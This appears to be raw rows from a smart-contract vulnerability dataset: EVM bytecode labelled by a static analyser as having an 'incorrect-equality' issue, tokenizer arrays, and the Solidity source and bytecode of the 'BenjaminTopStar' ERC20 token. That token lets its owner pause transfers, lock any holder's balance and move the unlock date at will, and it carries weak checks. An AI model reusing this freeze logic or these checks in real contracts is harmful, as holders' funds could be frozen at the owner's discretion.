db57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff166007836040518082805190602001908083835b602083101515611251578051825260208201915060208101905060208303925061122c565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113a357816040518082805190602001908083835b6020831015156112fb57805182526020820191506020810190506020830392506112d6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191661133584611de0565b6040518082805190602001908083835b60208310151561136a5780518252602082019150602081019050602083039250611345565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161490506113a8565b600190505b92915050565b6000600960009054906101000a900460ff1615156113cb57600080fd5b600254905090565b600960009054906101000a900460ff1681565b60006114cb600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c15780601f10611496576101008083540402835291602001916114c1565b820191906000526020600020905b8154815290600101906020018083116114a457829003601f168201915b5050505050612320565b9050919050565b60025481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115dc5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156115db5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b15156115e757600080fd5b600960009054906101000a900460ff16151561160257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163e57600080fd5b61167982828080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611b1d565b151561168457600080fd5b6116c08383838080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611200565b15156116cb57600080fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900490501115611925576040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016007600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160405180828054600181600116156101000203166002900480156117f15780601f106117cf5761010080835404028352918201916117f1565b820191906000526020600020905b8154815290600101906020018083116117dd575b50509150509081526020016040518091039020600101548152506007600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160405180828054600181600116156101000203166002900480156118aa5780601f106118885761010080835404028352918201916118aa565b820191906000526020600020905b815481529060010190602001808311611896575b5050915050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050600460008154809291906001900391905055505b604080519081016040528083838080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050815260200142815250600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190805190602001906119c792919061248c565b506020820151816001015590505060408051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001428152506007838360405180838380828437820191505092505050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506004600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff167f94e5d971bd7bf5b224803c026e42d9c1e3f7082f7f82a118fd306d8a8496350c8383604051808060200182810382528484828181526020019250808284378201915050935050505060405180910390a2505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611b2761250c565b6000839150600082511415611b3f5760009250611cb4565b600090505b8151811015611caf5760307f0100000000000000000000000000000000000000000000000000000000000000028282815181101515611b7f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161080611c94575060397f0100000000000000000000000000000000000000000000000000000000000000028282815181101515611c2557fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916115b15611ca25760009250611cb4565b8080600101915050611b44565b600192505b5050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d1657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611d8b57fe5b565b60006007838360405180838380828437820191505092505050908152602001604051809103902060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b611de8612478565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ebe5780601f10611e9357610100808354040283529160200191611ebe565b820191906000526020600020905b815481529060010190602001808311611ea157829003601f168201915b50505050509050919050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f605780601f10611f3557610100808354040283529160200191611f60565b820191906000526020600020905b815481529060010190602001808311611f4357829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fff57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561209e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561212a5750600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561213557600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561226257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061232a61250c565b60008084925060009350600091505b82518210156123f057828281518110151561235057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090049050603081101580156123d2575060398111155b156123e35760308103600a85020193505b8180600101925050612339565b505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061243957803560ff1916838001178555612467565b82800160010185558215612467579182015b8281111561246657823582559160200191906001019061244b565b5b5090506124749190612520565b5090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124cd57805160ff19168380011785556124fb565b828001600101855582156124fb579182015b828111156124fa5782518255916020019190600101906124df565b5b5090506125089190612520565b5090565b602060405190810160405280600081525090565b61254291905b8082111561253e576000816000905550600101612526565b5090565b905600a165627a7a72305820d36023d6f95ef541e1b9f95c4a6a06587eaeb52d33ecb5a26e430b296bf942f40029 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
2575,
2620,
2278,
2683,
2094,
2581,
2683,
2546,
21472,
2063,
17914,
18139,
22022,
2549,
2063,
2581,
21486,
2683,
23352,
2549,
6679,
2278,
2549,
2497,
16147,
26187,
2094,
2549,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,555 | 0x9556fe2e86c7199c1d84fb157e38ff6288340b3a | /*
___ _ _ ______ ______
/ _ )___ ___ (_)__ ___ _ (_)__ /_ __/__ ___ / __/ /____ _____
/ _ / -_) _ \ / / _ `/ ' \/ / _ \ / / / _ \/ _ \ _\ \/ __/ _ `/ __/
/____/\__/_//_/_/ /\_,_/_/_/_/_/_//_/ /_/ \___/ .__/ /___/\__/\_,_/_/
|___/ /_/
BTS : Benjamin Top Star
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Pausable is ERC20, Pausable {
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
contract BenjaminTopStar is ERC20Pausable, Ownable {
uint8 private DECIMALS = 8;
uint256 private MAX_TOKEN_COUNT = 10000000000;
uint256 private INITIAL_SUPPLY = MAX_TOKEN_COUNT * (10 ** uint256(DECIMALS));
mapping (address => uint256) public airDropHistory;
event AirDrop(address _recipient, uint256 _amount);
mapping (address => uint256) private lockedBalances;
event TimeLock(address _recipient, uint256 _amount);
uint256 private unlocktime;
constructor()
ERC20("BenjaminTopStar", "BTS")
public {
super._mint(msg.sender, INITIAL_SUPPLY);
unlocktime = 1656633600; // 2022/07/01 09:00:00 GMT+09:00
}
function decimals() public view virtual override returns (uint8) {
return DECIMALS;
}
modifier timeLock(address from, uint256 amount) {
if(block.timestamp < unlocktime) {
require(amount <= balanceOf(from) - lockedBalances[from]);
} else {
lockedBalances[from] = 0;
}
_;
}
function unLockTime() public view returns (uint256) {
return unlocktime;
}
function setUnLockTime(uint256 _unlocktime) onlyOwner public {
unlocktime = _unlocktime;
}
function transfer(address recipient, uint256 amount) timeLock(msg.sender, amount) whenNotPaused public virtual override returns (bool) {
return super.transfer(recipient, amount);
}
function transfers(address[] memory recipients, uint256[] memory values) whenNotPaused public {
require(recipients.length != 0);
require(recipients.length == values.length);
for(uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
uint256 amount = values[i];
transfer(recipient, amount);
}
}
function transferToLockedBalance(address recipient, uint256 amount) whenNotPaused public returns (bool) {
if(transfer(recipient, amount)) {
lockedBalances[recipient] += amount;
emit TimeLock(recipient, lockedBalances[recipient]);
return true;
}
}
function transferToLockedBalances(address[] memory recipients, uint256[] memory values) whenNotPaused public {
require(recipients.length != 0);
require(recipients.length == values.length);
for(uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
uint256 amount = values[i];
transferToLockedBalance(recipient, amount);
}
}
function transferFrom(address _from, address recipient, uint256 amount) timeLock(_from, amount) whenNotPaused public virtual override returns (bool) {
return super.transferFrom(_from, recipient, amount);
}
function lockedBalance(address recipient) public view returns (uint256) {
return lockedBalances[recipient];
}
function setLockedBalance(address recipient, uint256 amount) onlyOwner public {
require(amount >= 0);
require(balanceOf(recipient) >= amount);
lockedBalances[recipient] = amount;
emit TimeLock(recipient, lockedBalances[recipient]);
}
function setLockedBalances(address[] memory recipients, uint256[] memory values) onlyOwner public {
require(recipients.length != 0);
require(recipients.length == values.length);
for(uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
uint256 amount = values[i];
if(amount >= 0 && balanceOf(recipient) >= amount) {
setLockedBalance(recipient, amount);
}
}
}
function airDropToLockedBalances(address[] memory recipients, uint256[] memory values) whenNotPaused public {
require(recipients.length != 0);
require(recipients.length == values.length);
for(uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
uint256 amount = values[i];
transferToLockedBalance(recipient, amount);
airDropHistory[recipient] += amount;
emit AirDrop(recipient, amount);
}
}
function pause() onlyOwner whenNotPaused public {
super._pause();
}
function unpause() onlyOwner whenPaused public {
super._unpause();
}
} | 0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638456cb59116100f9578063a9059cbb11610097578063f2fde38b11610071578063f2fde38b146103cc578063f4649be1146103df578063f4bdcc63146103f2578063facc79051461040557600080fd5b8063a9059cbb14610360578063ccd28a4c14610373578063dd62ed3e1461039357600080fd5b80639ae697bf116100d35780639ae697bf146102fe5780639d988cd814610327578063a4203fe51461033a578063a457c2d71461034d57600080fd5b80638456cb59146102c55780638da5cb5b146102cd57806395d89b41146102f657600080fd5b8063313ce56711610166578063523464121161014057806352346412146102765780635c975abb1461028957806370a0823114610294578063715018a6146102bd57600080fd5b8063313ce5671461023c578063395093511461025b5780633f4ba83a1461026e57600080fd5b8063052b310f146101ae57806306fdde03146101c3578063095ea7b3146101e157806318160ddd146102045780631e8221401461021657806323b872dd14610229575b600080fd5b6101c16101bc3660046115d3565b61040d565b005b6101cb61044b565b6040516101d891906115ec565b60405180910390f35b6101f46101ef3660046114e2565b6104dd565b60405190151581526020016101d8565b6002545b6040519081526020016101d8565b6101f46102243660046114e2565b6104f4565b6101f46102373660046114a6565b6105b4565b600554600160a81b900460ff1660405160ff90911681526020016101d8565b6101f46102693660046114e2565b610653565b6101c161068f565b6101c161028436600461150c565b610712565b60055460ff166101f4565b6102086102a2366004611451565b6001600160a01b031660009081526020819052604090205490565b6101c16107bb565b6101c16107f5565b60055461010090046001600160a01b03166040516001600160a01b0390911681526020016101d8565b6101cb610850565b61020861030c366004611451565b6001600160a01b031660009081526009602052604090205490565b6101c161033536600461150c565b61085f565b6101c16103483660046114e2565b610903565b6101f461035b3660046114e2565b6109b6565b6101f461036e3660046114e2565b610a4f565b610208610381366004611451565b60086020526000908152604090205481565b6102086103a1366004611473565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101c16103da366004611451565b610aec565b6101c16103ed36600461150c565b610b8d565b6101c161040036600461150c565b610ca0565b600a54610208565b6005546001600160a01b036101009091041633146104465760405162461bcd60e51b815260040161043d9061166b565b60405180910390fd5b600a55565b60606003805461045a90611724565b80601f016020809104026020016040519081016040528092919081815260200182805461048690611724565b80156104d35780601f106104a8576101008083540402835291602001916104d3565b820191906000526020600020905b8154815290600101906020018083116104b657829003601f168201915b5050505050905090565b60006104ea338484610e63565b5060015b92915050565b600061050260055460ff1690565b1561051f5760405162461bcd60e51b815260040161043d90611641565b6105298383610a4f565b156104ee576001600160a01b038316600090815260096020526040812080548492906105569084906116f5565b90915550506001600160a01b038316600081815260096020908152604091829020548251938452908301527f197eee9feebf43ae6a92efb7be328140da2435758587a69179d7173fe608e968910160405180910390a15060016104ee565b60008382600a54421015610601576001600160a01b03821660009081526009602090815260408083205491839052909120546105f0919061170d565b8111156105fc57600080fd5b61061b565b6001600160a01b0382166000908152600960205260408120555b60055460ff161561063e5760405162461bcd60e51b815260040161043d90611641565b610649868686610f87565b9695505050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104ea91859061068a9086906116f5565b610e63565b6005546001600160a01b036101009091041633146106bf5760405162461bcd60e51b815260040161043d9061166b565b60055460ff166107085760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161043d565b610710611031565b565b60055460ff16156107355760405162461bcd60e51b815260040161043d90611641565b815161074057600080fd5b805182511461074e57600080fd5b60005b82518110156107b657600083828151811061076e5761076e611790565b60200260200101519050600083838151811061078c5761078c611790565b602002602001015190506107a08282610a4f565b50505080806107ae9061175f565b915050610751565b505050565b6005546001600160a01b036101009091041633146107eb5760405162461bcd60e51b815260040161043d9061166b565b61071060006110c4565b6005546001600160a01b036101009091041633146108255760405162461bcd60e51b815260040161043d9061166b565b60055460ff16156108485760405162461bcd60e51b815260040161043d90611641565b61071061111e565b60606004805461045a90611724565b60055460ff16156108825760405162461bcd60e51b815260040161043d90611641565b815161088d57600080fd5b805182511461089b57600080fd5b60005b82518110156107b65760008382815181106108bb576108bb611790565b6020026020010151905060008383815181106108d9576108d9611790565b602002602001015190506108ed82826104f4565b50505080806108fb9061175f565b91505061089e565b6005546001600160a01b036101009091041633146109335760405162461bcd60e51b815260040161043d9061166b565b80610953836001600160a01b031660009081526020819052604090205490565b101561095e57600080fd5b6001600160a01b038216600081815260096020908152604091829020849055815192835282018390527f197eee9feebf43ae6a92efb7be328140da2435758587a69179d7173fe608e968910160405180910390a15050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161043d565b610a453385858403610e63565b5060019392505050565b60003382600a54421015610a9c576001600160a01b0382166000908152600960209081526040808320549183905290912054610a8b919061170d565b811115610a9757600080fd5b610ab6565b6001600160a01b0382166000908152600960205260408120555b60055460ff1615610ad95760405162461bcd60e51b815260040161043d90611641565b610ae38585611176565b95945050505050565b6005546001600160a01b03610100909104163314610b1c5760405162461bcd60e51b815260040161043d9061166b565b6001600160a01b038116610b815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043d565b610b8a816110c4565b50565b60055460ff1615610bb05760405162461bcd60e51b815260040161043d90611641565b8151610bbb57600080fd5b8051825114610bc957600080fd5b60005b82518110156107b6576000838281518110610be957610be9611790565b602002602001015190506000838381518110610c0757610c07611790565b60200260200101519050610c1b82826104f4565b506001600160a01b03821660009081526008602052604081208054839290610c449084906116f5565b9091555050604080516001600160a01b0384168152602081018390527f2a2f3a6f457f222229acc6b14376a5d3f4344fae935675150a096e2f1056bd98910160405180910390a150508080610c989061175f565b915050610bcc565b6005546001600160a01b03610100909104163314610cd05760405162461bcd60e51b815260040161043d9061166b565b8151610cdb57600080fd5b8051825114610ce957600080fd5b60005b82518110156107b6576000838281518110610d0957610d09611790565b602002602001015190506000838381518110610d2757610d27611790565b6020908102919091010151905080610d54836001600160a01b031660009081526020819052604090205490565b10610d6357610d638282610903565b50508080610d709061175f565b915050610cec565b6001600160a01b038216610dce5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161043d565b610dda60008383611183565b8060026000828254610dec91906116f5565b90915550506001600160a01b03821660009081526020819052604081208054839290610e199084906116f5565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038316610ec55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043d565b6001600160a01b038216610f265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610f948484846111e9565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e7420657863656